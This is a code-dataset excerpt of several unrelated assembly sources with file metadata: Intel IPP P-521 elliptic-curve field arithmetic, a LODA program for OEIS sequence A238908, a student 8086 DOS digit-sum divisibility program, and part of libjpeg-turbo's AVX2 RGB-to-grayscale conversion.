movdqu %xmm2, (32)(%edi) movdqu %xmm3, (48)(%edi) movl %eax, (64)(%edi) mov (68)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .Lfe7: .size p521r1_neg, .Lfe7-(p521r1_neg) .p2align 5, 0x90 .globl p521r1_mul_by_2 .type p521r1_mul_by_2, @function p521r1_mul_by_2: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(72), %esp and $(-16), %esp movl %eax, (68)(%esp) lea (%esp), %edi movl (12)(%ebp), %esi call shl_521 mov %eax, %edx mov %edi, %esi movl (8)(%ebp), %edi lea p521r1_data, %ebx lea ((_prime521r1-p521r1_data))(%ebx), %ebx call sub_521 sub %eax, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu (32)(%esi), %xmm2 movdqu (48)(%esi), %xmm3 movl (64)(%esi), %eax movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) movdqu %xmm2, (32)(%edi) movdqu %xmm3, (48)(%edi) movl %eax, (64)(%edi) mov (68)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .Lfe8: .size p521r1_mul_by_2, .Lfe8-(p521r1_mul_by_2) .p2align 5, 0x90 .globl p521r1_mul_by_3 .type p521r1_mul_by_3, @function p521r1_mul_by_3: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(144), %esp and $(-16), %esp movl %eax, (140)(%esp) lea p521r1_data, %eax lea ((_prime521r1-p521r1_data))(%eax), %eax movl %eax, (136)(%esp) lea (%esp), %edi movl (12)(%ebp), %esi call shl_521 mov %eax, %edx mov %edi, %esi lea (68)(%esp), %edi mov (136)(%esp), %ebx call sub_521 sub %eax, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu (32)(%esi), %xmm2 movdqu (48)(%esi), %xmm3 movl (64)(%esi), %eax movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) movdqu %xmm2, (32)(%edi) movdqu %xmm3, (48)(%edi) movl %eax, (64)(%edi) mov %edi, %esi movl (12)(%ebp), %ebx call add_521 mov %eax, %edx movl (8)(%ebp), %edi mov (136)(%esp), %ebx call sub_521 sub %eax, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu (32)(%esi), %xmm2 movdqu (48)(%esi), %xmm3 movl (64)(%esi), %eax movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) movdqu %xmm2, (32)(%edi) movdqu %xmm3, (48)(%edi) movl %eax, (64)(%edi) mov (140)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .Lfe9: .size p521r1_mul_by_3, .Lfe9-(p521r1_mul_by_3) .p2align 5, 0x90 .globl p521r1_div_by_2 .type p521r1_div_by_2, @function p521r1_div_by_2: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(72), %esp and $(-16), %esp movl %eax, (68)(%esp) lea (%esp), %edi movl (12)(%ebp), %esi lea p521r1_data, %ebx lea ((_prime521r1-p521r1_data))(%ebx), %ebx call add_521 mov $(0), %edx movl (%esi), %ecx and $(1), %ecx cmovne %edi, %esi cmove %edx, %eax movl (8)(%ebp), %edi call shr_521 mov (68)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .Lfe10: .size p521r1_div_by_2, .Lfe10-(p521r1_div_by_2) .p2align 5, 0x90 .globl p521r1_mul_mont_slm .type p521r1_mul_mont_slm, @function p521r1_mul_mont_slm: push %ebp mov %esp, %ebp push %ebx push %esi push %edi push %ebp mov %esp, %eax sub $(88), %esp and $(-16), %esp movl %eax, (84)(%esp) pxor %xmm0, %xmm0 movdqa %xmm0, (%esp) movdqa %xmm0, (16)(%esp) movdqa %xmm0, (32)(%esp) movdqa %xmm0, (48)(%esp) movq %xmm0, (64)(%esp) movl (8)(%ebp), %edi movl (12)(%ebp), %esi movl (16)(%ebp), %ebp movl %edi, (72)(%esp) movl %esi, (76)(%esp) movl %ebp, (80)(%esp) mov $(17), %ebx movd (4)(%esi), %mm1 movd (8)(%esi), %mm2 movd (12)(%esi), %mm3 movd (16)(%esi), %mm4 .p2align 5, 0x90 .Lmmul_loopgas_11: movd %ebx, %mm7 movl (%ebp), %edx movl (%esi), %eax movd %edx, %mm0 add $(4), %ebp movl %ebp, (80)(%esp) pmuludq %mm0, %mm1 pmuludq %mm0, %mm2 mul %edx addl (%esp), %eax adc $(0), %edx pmuludq %mm0, %mm3 pmuludq %mm0, %mm4 movd %mm1, %ecx psrlq $(32), %mm1 add %edx, %ecx movd %mm1, %edx adc $(0), %edx addl (4)(%esp), %ecx movd (20)(%esi), %mm1 movl %ecx, (%esp) adc $(0), %edx movd %mm2, %ebx psrlq $(32), %mm2 add %edx, %ebx movd %mm2, %edx adc $(0), %edx addl (8)(%esp), %ebx movd (24)(%esi), %mm2 movl %ebx, (4)(%esp) adc $(0), %edx pmuludq %mm0, %mm1 pmuludq %mm0, %mm2 movd %mm3, %ebp psrlq $(32), %mm3 add %edx, %ebp movd %mm3, %edx adc $(0), %edx addl (12)(%esp), %ebp movd (28)(%esi), %mm3 movl %ebp, (8)(%esp) adc $(0), %edx movd %mm4, %edi psrlq $(32), %mm4 add %edx, %edi movd %mm4, %edx adc $(0), %edx addl (16)(%esp), %edi movd (32)(%esi), %mm4 movl %edi, (12)(%esp) adc $(0), %edx pmuludq %mm0, %mm3 pmuludq %mm0, %mm4 movd %mm1, %ecx psrlq $(32), %mm1 add %edx, %ecx movd %mm1, %edx adc $(0), %edx addl (20)(%esp), %ecx movd (36)(%esi), %mm1 movl %ecx, (16)(%esp) adc $(0), %edx movd %mm2, %ebx psrlq $(32), %mm2 add %edx, %ebx movd %mm2, %edx adc $(0), %edx addl (24)(%esp), %ebx movd (40)(%esi), %mm2 movl %ebx, (20)(%esp) adc $(0), %edx pmuludq %mm0, %mm1 pmuludq %mm0, %mm2 movd %mm3, %ebp psrlq $(32), %mm3 add %edx, %ebp movd %mm3, %edx adc $(0), %edx addl (28)(%esp), %ebp movd (44)(%esi), %mm3 movl %ebp, (24)(%esp) adc $(0), %edx movd %mm4, %edi psrlq $(32), %mm4 add %edx, %edi movd %mm4, %edx adc $(0), %edx addl (32)(%esp), %edi movd (48)(%esi), %mm4 movl %edi, (28)(%esp) adc $(0), %edx pmuludq %mm0, %mm3 pmuludq %mm0, %mm4 movd %mm1, %ecx psrlq $(32), %mm1 add %edx, %ecx movd %mm1, %edx adc $(0), %edx addl (36)(%esp), %ecx movd (52)(%esi), %mm1 movl %ecx, (32)(%esp) adc $(0), %edx movd %mm2, %ebx psrlq $(32), %mm2 add %edx, %ebx movd %mm2, %edx adc $(0), %edx addl (40)(%esp), %ebx movd (56)(%esi), %mm2 movl %ebx, (36)(%esp) adc $(0), %edx pmuludq %mm0, %mm1 pmuludq %mm0, %mm2 movd %mm3, %ebp psrlq $(32), %mm3 add %edx, %ebp movd %mm3, %edx adc $(0), %edx addl (44)(%esp), %ebp movd (60)(%esi), %mm3 movl %ebp, (40)(%esp) adc $(0), %edx movd %mm4, %edi psrlq $(32), %mm4 add %edx, %edi movd %mm4, %edx adc $(0), %edx addl (48)(%esp), %edi movd (64)(%esi), %mm4 movl %edi, (44)(%esp) adc $(0), %edx pmuludq %mm0, %mm3 pmuludq %mm0, %mm4 movd %mm1, %ecx psrlq $(32), %mm1 add %edx, %ecx movd %mm1, %edx adc $(0), %edx addl (52)(%esp), %ecx movl %ecx, (48)(%esp) adc $(0), %edx movd %mm2, %ebx psrlq $(32), %mm2 add %edx, %ebx movd %mm2, %edx adc $(0), %edx addl (56)(%esp), %ebx movl %ebx, (52)(%esp) adc $(0), %edx movd %mm3, %ebp psrlq $(32), %mm3 add %edx, %ebp movd %mm3, %edx adc $(0), %edx addl (60)(%esp), %ebp movl %ebp, (56)(%esp) adc $(0), %edx movd %mm4, %edi psrlq $(32), %mm4 add %edx, %edi movd %mm4, %edx adc $(0), %edx addl (64)(%esp), %edi adc $(0), %edx movd %mm7, %ebx mov %eax, %ecx shl $(9), %eax shr $(23), %ecx add %eax, %edi movl %edi, (60)(%esp) adc %ecx, %edx movl %edx, (64)(%esp) sub $(1), %ebx movd (4)(%esi), %mm1 movd (8)(%esi), %mm2 movd (12)(%esi), %mm3 movd (16)(%esi), %mm4 jz .Lexit_mmul_loopgas_11 movl (80)(%esp), %ebp jmp .Lmmul_loopgas_11 .Lexit_mmul_loopgas_11: emms mov (72)(%esp), %edi lea (%esp), %esi lea p521r1_data, %ebx lea ((_prime521r1-p521r1_data))(%ebx), %ebx call sub_521 movl (68)(%esp), %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu (32)(%esi), %xmm2 movdqu (48)(%esi), %xmm3 movl (64)(%esi), %eax movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) movdqu %xmm2, (32)(%edi) movdqu %xmm3, (48)(%edi) movl %eax, (64)(%edi) mov (84)(%esp), %esp pop %ebp pop %edi pop %esi pop %ebx pop %ebp ret .Lfe11: .size p521r1_mul_mont_slm, .Lfe11-(p521r1_mul_mont_slm) .p2align 5, 0x90 .globl p521r1_sqr_mont_slm .type p521r1_sqr_mont_slm, @function p521r1_sqr_mont_slm: push %ebp mov %esp, %ebp push %esi push %edi movl (12)(%ebp), %esi movl (8)(%ebp), %edi push %esi push %esi push %edi call p521r1_mul_mont_slm add $(12), %esp pop %edi pop %esi pop %ebp ret .Lfe12: .size p521r1_sqr_mont_slm, .Lfe12-(p521r1_sqr_mont_slm) .p2align 5, 0x90 .globl p521r1_mred .type p521r1_mred, @function p521r1_mred: push %ebp mov %esp, %ebp push %ebx push %esi push %edi movl (12)(%ebp), %esi mov $(17), %ecx xor %edx, %edx .p2align 5, 0x90 .Lmred_loopgas_13: movl (%esi), %ebx movl (%esi), %eax shr $(23), %ebx shl $(9), %eax add %edx, %ebx addl (64)(%esi), %eax movl (68)(%esi), %edx adc %edx, %ebx mov $(0), %edx movl %eax, (64)(%esi) movl %ebx, (68)(%esi) adc $(0), %edx lea (4)(%esi), %esi sub $(1), %ecx jnz .Lmred_loopgas_13 movl (8)(%ebp), %edi lea p521r1_data, %ebx lea ((_prime521r1-p521r1_data))(%ebx), %ebx call sub_521 sub %eax, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu (32)(%esi), %xmm2 movdqu (48)(%esi), %xmm3 movl (64)(%esi), %eax movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) movdqu %xmm2, (32)(%edi) movdqu %xmm3, (48)(%edi) movl %eax, (64)(%edi) pop %edi pop %esi pop %ebx pop %ebp ret pop %edi pop %esi pop %ebx pop %ebp ret .Lfe13: .size p521r1_mred, .Lfe13-(p521r1_mred) .p2align 5, 0x90 .globl p521r1_select_pp_w5 .type p521r1_select_pp_w5, @function p521r1_select_pp_w5: push %ebp mov %esp, %ebp push %esi push %edi pxor %xmm0, %xmm0 movl (8)(%ebp), %edi movl (12)(%ebp), %esi movl (16)(%ebp), %eax movd %eax, %xmm7 pshufd $(0), %xmm7, %xmm7 mov $(1), %edx movd %edx, %xmm6 pshufd $(0), %xmm6, %xmm6 movdqa %xmm0, (%edi) movdqa %xmm0, (16)(%edi) movdqa %xmm0, (32)(%edi) movdqa %xmm0, (48)(%edi) movdqa %xmm0, (64)(%edi) movdqa %xmm0, (80)(%edi) movdqa %xmm0, (96)(%edi) movdqa %xmm0, (112)(%edi) movdqa %xmm0, (128)(%edi) movdqa %xmm0, (144)(%edi) movdqa %xmm0, (160)(%edi) movdqa %xmm0, (176)(%edi) pxor %xmm3, %xmm3 movdqa %xmm6, %xmm5 mov $(16), %ecx .p2align 5, 0x90 .Lselect_loopgas_14: movdqa %xmm5, %xmm4 pcmpeqd %xmm7, %xmm4 movdqu (%esi), %xmm0 pand %xmm4, %xmm0 por (%edi), %xmm0 movdqa %xmm0, (%edi) movdqu (16)(%esi), %xmm1 pand %xmm4, %xmm1 por (16)(%edi), %xmm1 movdqa %xmm1, (16)(%edi) movdqu (32)(%esi), %xmm0 pand %xmm4, %xmm0 por (32)(%edi), %xmm0 movdqa %xmm0, (32)(%edi) movdqu (48)(%esi), %xmm1 pand %xmm4, %xmm1 por (48)(%edi), %xmm1 movdqa %xmm1, (48)(%edi) movdqu (64)(%esi), %xmm0 pand %xmm4, %xmm0 por (64)(%edi), %xmm0 movdqa %xmm0, (64)(%edi) movdqu (80)(%esi), %xmm1 pand %xmm4, %xmm1 por (80)(%edi), %xmm1 movdqa %xmm1, (80)(%edi) movdqu (96)(%esi), %xmm0 pand %xmm4, %xmm0 por (96)(%edi), %xmm0 movdqa %xmm0, (96)(%edi) movdqu (112)(%esi), %xmm1 pand %xmm4, %xmm1 por (112)(%edi), %xmm1 movdqa %xmm1, (112)(%edi) movdqu (128)(%esi), %xmm0 pand %xmm4, %xmm0 por (128)(%edi), %xmm0 movdqa %xmm0, (128)(%edi) movdqu (144)(%esi), %xmm1 pand %xmm4, %xmm1 por (144)(%edi), %xmm1 movdqa %xmm1, (144)(%edi) movdqu (160)(%esi), %xmm0 pand %xmm4, %xmm0 por (160)(%edi), %xmm0 movdqa %xmm0, (160)(%edi) movdqu (176)(%esi), %xmm1 pand %xmm4, %xmm1 por (176)(%edi), %xmm1 movdqa %xmm1, (176)(%edi) movdqu (192)(%esi), %xmm0 pand %xmm4, %xmm0 por %xmm0, %xmm3 paddd %xmm6, %xmm5 add $(204), %esi sub $(1), %ecx jnz .Lselect_loopgas_14 movq %xmm3, (192)(%edi) psrldq $(8), %xmm3 movd %xmm3, (200)(%edi) pop %edi pop %esi pop %ebp ret .Lfe14: .size p521r1_select_pp_w5, .Lfe14-(p521r1_select_pp_w5)
29.226027
104
0.413606
[ "Apache-2.0" ]
idesai/ipp-crypto
sources/ippcp/asm_ia32_gas_converted/linux/nonpic/g9/singlecpu/pcpp521r1arith_mont_slm.asm
29,869
Assembly
4
; A238908: Number of (n+1) X (3+1) 0..2 arrays with no element equal to all horizontal neighbors or equal to all vertical neighbors, and new values 0..2 introduced in row major order. ; Submitted by Christian Krause ; 54,486,17496,408726,10789686,274834944,7073353350,181499433750,4661259221016,119679993219366,3073064486445414,78906460267708416,2026077840987433686,52023421931028414534,1335801507196609225944,34299270055897770119094,880699693329714473020566,22613657338534171484911104,580649117942144535598659366,14909282154596845106538092406,382824476203321944215168310936,9829754246217288936830471713350,252397833863223215436649415474886,6480799513668539272165160858517504,166406984139249694519119367745539446 seq $0,238906 ; Number of (n+1) X (1+1) 0..2 arrays with no element equal to all horizontal neighbors or equal to all vertical neighbors, and new values 0..2 introduced in row major order. pow $0,2 div $0,9 mul $0,54
103.444444
496
0.849624
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/238/A238908.asm
931
Assembly
4
.MODEL SMALL .STACK 100H .DATA X DB "YES$" Y DB "NO$" O DB 0DH,0AH,"OUTPUT: $" MSG1 DB 'INPUT: $' SUM DB 0 .CODE MAIN PROC MOV AX,@DATA MOV DS,AX MOV AX,@DATA MOV DS,AX LEA DX,MSG1 MOV AH,9 INT 21H XOR CX,CX AND AX,0 MOV AX,0 PUSH AX MOREINPUT: MOV AH,1 INT 21H CMP AL,0DH JE BREAKTHELOOP SUB AL,30H ADD SUM,AL AND AH,0 AND BX,0 MOV BL,AL AND AX,0 POP AX MOV CX,10 MUL CX ADD AX,BX PUSH AX JMP MOREINPUT BREAKTHELOOP: AND AX,0 POP BX MOV AX,BX DIV SUM CMP AH,0 JE OUTPUT_X LEA DX,O MOV AH,9 INT 21H LEA DX,Y MOV AH,9 INT 21H JMP EXIT OUTPUT_X: LEA DX,O MOV AH,9 INT 21H LEA DX,X MOV AH,9 INT 21H EXIT: MOV AH,4CH INT 21H END MAIN
9.125
25
0.610959
[ "Apache-2.0" ]
iamraufu/BRACU
CSE 341 Microprocessors/Lab Final/Task 3.asm
730
Assembly
4
; ; jcgryext.asm - grayscale colorspace conversion (64-bit AVX2) ; ; Copyright (C) 2011, 2016, D. R. Commander. ; Copyright (C) 2015, Intel Corporation. ; ; Based on the x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; [TAB8] %include "jcolsamp.inc" ; -------------------------------------------------------------------------- ; ; Convert some rows of samples to the output colorspace. ; ; GLOBAL(void) ; jsimd_rgb_gray_convert_avx2(JDIMENSION img_width, JSAMPARRAY input_buf, ; JSAMPIMAGE output_buf, JDIMENSION output_row, ; int num_rows); ; ; r10d = JDIMENSION img_width ; r11 = JSAMPARRAY input_buf ; r12 = JSAMPIMAGE output_buf ; r13d = JDIMENSION output_row ; r14d = int num_rows %define wk(i) rbp - (WK_NUM - (i)) * SIZEOF_YMMWORD ; ymmword wk[WK_NUM] %define WK_NUM 2 align 32 GLOBAL_FUNCTION(jsimd_rgb_gray_convert_avx2) EXTN(jsimd_rgb_gray_convert_avx2): push rbp mov rax, rsp ; rax = original rbp sub rsp, byte 4 and rsp, byte (-SIZEOF_YMMWORD) ; align to 256 bits mov [rsp], rax mov rbp, rsp ; rbp = aligned rbp lea rsp, [wk(0)] collect_args 5 push rbx mov ecx, r10d test rcx, rcx jz near .return push rcx mov rsi, r12 mov ecx, r13d mov rdi, JSAMPARRAY [rsi+0*SIZEOF_JSAMPARRAY] lea rdi, [rdi+rcx*SIZEOF_JSAMPROW] pop rcx mov rsi, r11 mov eax, r14d test rax, rax jle near .return .rowloop: push rdi push rsi push rcx ; col mov rsi, JSAMPROW [rsi] ; inptr mov rdi, JSAMPROW [rdi] ; outptr0 cmp rcx, byte SIZEOF_YMMWORD jae near .columnloop %if RGB_PIXELSIZE == 3 ; --------------- .column_ld1: push rax push rdx lea rcx, [rcx+rcx*2] ; imul ecx,RGB_PIXELSIZE test cl, SIZEOF_BYTE jz short .column_ld2 sub rcx, byte SIZEOF_BYTE movzx rax, BYTE [rsi+rcx] .column_ld2: test cl, SIZEOF_WORD jz short .column_ld4 sub rcx, byte SIZEOF_WORD movzx rdx, WORD [rsi+rcx] shl rax, WORD_BIT or rax, rdx .column_ld4: vmovd xmmA, eax pop rdx pop rax test cl, SIZEOF_DWORD jz short .column_ld8 sub rcx, byte SIZEOF_DWORD vmovd xmmF, XMM_DWORD [rsi+rcx] vpslldq xmmA, xmmA, SIZEOF_DWORD vpor xmmA, xmmA, xmmF .column_ld8: test cl, SIZEOF_MMWORD jz short .column_ld16 sub rcx, byte SIZEOF_MMWORD vmovq xmmB, XMM_MMWORD [rsi+rcx] vpslldq xmmA, xmmA, SIZEOF_MMWORD vpor xmmA, xmmA, xmmB .column_ld16: test cl, SIZEOF_XMMWORD jz short .column_ld32 sub rcx, byte SIZEOF_XMMWORD vmovdqu xmmB, XMM_MMWORD [rsi+rcx] vperm2i128 ymmA, ymmA, ymmA, 1 vpor ymmA, ymmB .column_ld32: test cl, SIZEOF_YMMWORD jz short .column_ld64 sub rcx, byte SIZEOF_YMMWORD vmovdqa ymmF, ymmA vmovdqu ymmA, YMMWORD [rsi+0*SIZEOF_YMMWORD] .column_ld64: test cl, 2*SIZEOF_YMMWORD mov rcx, SIZEOF_YMMWORD jz short .rgb_gray_cnv vmovdqa ymmB, ymmA vmovdqu ymmA, YMMWORD [rsi+0*SIZEOF_YMMWORD] vmovdqu ymmF, YMMWORD [rsi+1*SIZEOF_YMMWORD] jmp short .rgb_gray_cnv .columnloop: vmovdqu ymmA, YMMWORD [rsi+0*SIZEOF_YMMWORD] vmovdqu ymmF, YMMWORD [rsi+1*SIZEOF_YMMWORD] vmovdqu ymmB, YMMWORD [rsi+2*SIZEOF_YMMWORD] .rgb_gray_cnv: ; ymmA=(00 10 20 01 11 21 02 12 22 03 13 23 04 14 24 05 ; 15 25 06 16 26 07 17 27 08 18 28 09 19 29 0A 1A) ; ymmF=(2A 0B 1B 2B 0C 1C 2C 0D 1D 2D 0E 1E 2E 0F 1F 2F ; 0G 1G 2G 0H 1H 2H 0I 1I 2I 0J 1J 2J 0K 1K 2K 0L) ; ymmB=(1L 2L 0M 1M 2M 0N 1N 2N 0O 1O 2O 0P 1P 2P 0Q 1Q ; 2Q 0R 1R 2R 0S 1S 2S 0T 1T 2T 0U 1U 2U 0V 1V 2V) vmovdqu ymmC, ymmA vinserti128 ymmA, ymmF, xmmA, 0 ; ymmA=(00 10 20 01 11 21 02 12 22 03 13 23 04 14 24 05 ; 0G 1G 2G 0H 1H 2H 0I 1I 2I 0J 1J 2J 0K 1K 2K 0L) vinserti128 ymmC, ymmC, xmmB, 0 ; ymmC=(1L 2L 0M 1M 2M 0N 1N 2N 0O 1O 2O 0P 1P 2P 0Q 1Q ; 15 25 06 16 26 07 17 27 08 18 28 09 19 29 0A 1A) vinserti128 ymmB, ymmB, xmmF, 0 ; ymmB=(2A 0B 1B 2B 0C 1C 2C 0D 1D 2D 0E 1E 2E 0F 1F 2F ; 2Q 0R 1R 2R 0S 1S 2S 0T 1T 2T 0U 1U 2U 0V 1V 2V) vperm2i128 ymmF, ymmC, ymmC, 1 ; ymmF=(15 25 06 16 26 07 17 27 08 18 28 09 19 29 0A 1A ; 1L 2L 0M 1M 2M 0N 1N 2N 0O 1O 2O 0P 1P 2P 0Q 1Q) vmovdqa ymmG, ymmA vpslldq ymmA, ymmA, 8 ; ymmA=(-- -- -- -- -- -- -- -- 00 10 20 01 11 21 02 12 ; 22 03 13 23 04 14 24 05 0G 1G 2G 0H 1H 2H 0I 1I) vpsrldq ymmG, ymmG, 8 ; ymmG=(22 03 13 23 04 14 24 05 0G 1G 2G 0H 1H 2H 0I 1I ; 2I 0J 1J 2J 0K 1K 2K 0L -- -- -- -- -- -- -- --) vpunpckhbw ymmA, ymmA, ymmF ; ymmA=(00 08 10 18 20 28 01 09 11 19 21 29 02 0A 12 1A ; 0G 0O 1G 1O 2G 2O 0H 0P 1H 1P 2H 2P 0I 0Q 1I 1Q) vpslldq ymmF, ymmF, 8 ; ymmF=(-- -- -- -- -- -- -- -- 15 25 06 16 26 07 17 27 ; 08 18 28 09 19 29 0A 1A 1L 2L 0M 1M 2M 0N 1N 2N) vpunpcklbw ymmG, ymmG, ymmB ; ymmG=(22 2A 03 0B 13 1B 23 2B 04 0C 14 1C 24 2C 05 0D ; 2I 2Q 0J 0R 1J 1R 2J 2R 0K 0S 1K 1S 2K 2S 0L 0T) vpunpckhbw ymmF, ymmF, ymmB ; ymmF=(15 1D 25 2D 06 0E 16 1E 26 2E 07 0F 17 1F 27 2F ; 1L 1T 2L 2T 0M 0U 1M 1U 2M 2U 0N 0V 1N 1V 2N 2V) vmovdqa ymmD, ymmA vpslldq ymmA, ymmA, 8 ; ymmA=(-- -- -- -- -- -- -- -- 00 08 10 18 20 28 01 09 ; 11 19 21 29 02 0A 12 1A 0G 0O 1G 1O 2G 2O 0H 0P) vpsrldq ymmD, ymmD, 8 ; ymmD=(11 19 21 29 02 0A 12 1A 0G 0O 1G 1O 2G 2O 0H 0P ; 1H 1P 2H 2P 0I 0Q 1I 1Q -- -- -- -- -- -- -- --) vpunpckhbw ymmA, ymmA, ymmG ; ymmA=(00 04 08 0C 10 14 18 1C 20 24 28 2C 01 05 09 0D ; 0G 0K 0O 0S 1G 1K 1O 1S 2G 2K 2O 2S 0H 0L 0P 0T) vpslldq ymmG, ymmG, 8 ; ymmG=(-- -- -- -- -- -- -- -- 22 2A 03 0B 13 1B 23 2B ; 04 0C 14 1C 24 2C 05 0D 2I 2Q 0J 0R 1J 1R 2J 2R) vpunpcklbw ymmD, ymmD, ymmF ; ymmD=(11 15 19 1D 21 25 29 2D 02 06 0A 0E 12 16 1A 1E ; 1H 1L 1P 1T 2H 2L 2P 2T 0I 0M 0Q 0U 1I 1M 1Q 1U) vpunpckhbw ymmG, ymmG, ymmF ; ymmG=(22 26 2A 2E 03 07 0B 0F 13 17 1B 1F 23 27 2B 2F ; 2I 2M 2Q 2U 0J 0N 0R 0V 1J 1N 1R 1V 2J 2N 2R 2V) vmovdqa ymmE, ymmA vpslldq ymmA, ymmA, 8 ; ymmA=(-- -- -- -- -- -- -- -- 00 04 08 0C 10 14 18 1C ; 20 24 28 2C 01 05 09 0D 0G 0K 0O 0S 1G 1K 1O 1S) vpsrldq ymmE, ymmE, 8 ; ymmE=(20 24 28 2C 01 05 09 0D 0G 0K 0O 0S 1G 1K 1O 1S ; 2G 2K 2O 2S 0H 0L 0P 0T -- -- -- -- -- -- -- --) vpunpckhbw ymmA, ymmA, ymmD ; ymmA=(00 02 04 06 08 0A 0C 0E 10 12 14 16 18 1A 1C 1E ; 0G 0I 0K 0M 0O 0Q 0S 0U 1G 1I 1K 1M 1O 1Q 1S 1U) vpslldq ymmD, ymmD, 8 ; ymmD=(-- -- -- -- -- -- -- -- 11 15 19 1D 21 25 29 2D ; 02 06 0A 0E 12 16 1A 1E 1H 1L 1P 1T 2H 2L 2P 2T) vpunpcklbw ymmE, ymmE, ymmG ; ymmE=(20 22 24 26 28 2A 2C 2E 01 03 05 07 09 0B 0D 0F ; 2G 2I 2K 2M 2O 2Q 2S 2U 0H 0J 0L 0N 0P 0R 0T 0V) vpunpckhbw ymmD, ymmD, ymmG ; ymmD=(11 13 15 17 19 1B 1D 1F 21 23 25 27 29 2B 2D 2F ; 1H 1J 1L 1N 1P 1R 1T 1V 2H 2J 2L 2N 2P 2R 2T 2V) vpxor ymmH, ymmH, ymmH vmovdqa ymmC, ymmA vpunpcklbw ymmA, ymmA, ymmH ; ymmA=(00 02 04 06 08 0A 0C 0E 0G 0I 0K 0M 0O 0Q 0S 0U) vpunpckhbw ymmC, ymmC, ymmH ; ymmC=(10 12 14 16 18 1A 1C 1E 1G 1I 1K 1M 1O 1Q 1S 1U) vmovdqa ymmB, ymmE vpunpcklbw ymmE, ymmE, ymmH ; ymmE=(20 22 24 26 28 2A 2C 2E 2G 2I 2K 2M 2O 2Q 2S 2U) vpunpckhbw ymmB, ymmB, ymmH ; ymmB=(01 03 05 07 09 0B 0D 0F 0H 0J 0L 0N 0P 0R 0T 0V) vmovdqa ymmF, ymmD vpunpcklbw ymmD, ymmD, ymmH ; ymmD=(11 13 15 17 19 1B 1D 1F 1H 1J 1L 1N 1P 1R 1T 1V) vpunpckhbw ymmF, ymmF, ymmH ; ymmF=(21 23 25 27 29 2B 2D 2F 2H 2J 2L 2N 2P 2R 2T 2V) %else ; RGB_PIXELSIZE == 4 ; ----------- .column_ld1: test cl, SIZEOF_XMMWORD/16 jz short .column_ld2 sub rcx, byte SIZEOF_XMMWORD/16 vmovd xmmA, XMM_DWORD [rsi+rcx*RGB_PIXELSIZE] .column_ld2: test cl, SIZEOF_XMMWORD/8 jz short .column_ld4 sub rcx, byte SIZEOF_XMMWORD/8 vmovq xmmF, XMM_MMWORD [rsi+rcx*RGB_PIXELSIZE] vpslldq xmmA, xmmA, SIZEOF_MMWORD vpor xmmA, xmmA, xmmF .column_ld4: test cl, SIZEOF_XMMWORD/4 jz short .column_ld8 sub rcx, byte SIZEOF_XMMWORD/4 vmovdqa xmmF, xmmA vperm2i128 ymmF, ymmF, ymmF, 1 vmovdqu xmmA, XMMWORD [rsi+rcx*RGB_PIXELSIZE] vpor ymmA, ymmA, ymmF .column_ld8: test cl, SIZEOF_XMMWORD/2 jz short .column_ld16 sub rcx, byte SIZEOF_XMMWORD/2 vmovdqa ymmF, ymmA vmovdqu ymmA, YMMWORD [rsi+rcx*RGB_PIXELSIZE] .column_ld16: test cl, SIZEOF_XMMWORD mov rcx, SIZEOF_YMMWORD jz short .rgb_gray_cnv vmovdqa ymmE, ymmA vmovdqa ymmH, ymmF vmovdqu ymmA, YMMWORD [rsi+0*SIZEOF_YMMWORD] vmovdqu ymmF, YMMWORD [rsi+1*SIZEOF_YMMWORD] jmp short .rgb_gray_cnv .columnloop: vmovdqu ymmA, YMMWORD [rsi+0*SIZEOF_YMMWORD] vmovdqu ymmF, YMMWORD [rsi+1*SIZEOF_YMMWORD] vmovdqu ymmE, YMMWORD [rsi+2*SIZEOF_YMMWORD] vmovdqu ymmH, YMMWORD [rsi+3*SIZEOF_YMMWORD] .rgb_gray_cnv: ; ymmA=(00 10 20 30 01 11 21 31 02 12 22 32 03 13 23 33 ; 04 14 24 34 05 15 25 35 06 16 26 36 07 17 27 37) ; ymmF=(08 18 28 38 09 19 29 39 0A 1A 2A 3A 0B 1B 2B 3B ; 0C 1C 2C 3C 0D 1D 2D 3D 0E 1E 2E 3E 0F 1F 2F 3F) ; ymmE=(0G 1G 2G 3G 0H 1H 2H 3H 0I 1I 2I 3I 0J 1J 2J 3J ; 0K 1K 2K 3K 0L 1L 2L 3L 0M 1M 2M 3M 0N 1N 2N 3N) ; ymmH=(0O 1O 2O 3O 0P 1P 2P 3P 0Q 1Q 2Q 3Q 0R 1R 2R 3R ; 0S 1S 2S 3S 0T 1T 2T 3T 0U 1U 2U 3U 0V 1V 2V 3V) vmovdqa ymmB, ymmA vinserti128 ymmA, ymmA, xmmE, 1 ; ymmA=(00 10 20 30 01 11 21 31 02 12 22 32 03 13 23 33 ; 0G 1G 2G 3G 0H 1H 2H 3H 0I 1I 2I 3I 0J 1J 2J 3J) vperm2i128 ymmE, ymmB, ymmE, 0x31 ; ymmE=(04 14 24 34 05 15 25 35 06 16 26 36 07 17 27 37 ; 0K 1K 2K 3K 0L 1L 2L 3L 0M 1M 2M 3M 0N 1N 2N 3N) 